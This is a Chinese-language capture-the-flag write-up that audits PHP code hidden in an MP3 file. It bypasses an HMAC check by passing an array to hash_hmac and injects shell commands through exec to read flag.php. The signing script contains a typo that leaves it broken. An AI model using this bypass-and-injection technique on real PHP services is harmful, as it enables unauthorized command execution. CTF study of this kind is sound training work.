WriteUp

打开网页,html源码审计发现line 49<!--都说听听歌了!-->,于是猜测网页的背景音乐文件存在隐写。

下载拖到010发现文件尾有文本,于是直接notepad打开,发现如下代码段。

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('谁!竟敢踩我一只耳的尾巴!');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);

$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);

然后试着post了这个mp3文件,发现屁用没有。(mp3能有用就有鬼了) 于是猜测是postindex的,测试发现有效果。、

于是继续代码审计,发现$clandestine作为密钥居然可以被更改,而且更改的语句正好是hash_hmac的返回值。由于给hash_hmac传入array类型的数据会返回NULL,所以只要&White-cat-monitor[]=wkr一下就完事。

然后想办法构造一下命令执行就可以了。

刚开始被nc给误导了一下,以为要反射shell,实际上;截断命令然后自己写个命令跑就完事。

至于Black-Cat-Sheriff的验签,写个php脚本签一遍要跑的payload就完事。

<?php
$clandestine = "wkr";
$Whitecatmonitor[] = "wkr";
$clandestine = hash_hmac('sha256', $Whitecatmonitor, $clandestine);
$oneear = "payload";
$ = hash_hmac('sha256', $oneear, $clandestine);
echo $hh;

由于exec不返回执行结果,所以我们用echo [反引号]命令[反引号];的形式进行返回,于是得到如下payload&One-ear=; echo [反引号]ls[反引号];

执行发现存在flag.php文件,于是payload改为&One-ear=; echo [反引号]cat flag.php[反引号];,得到flag。

image.png

flag

GWHT{y0u_mu3t_p@y_atTentiou_!0_lt}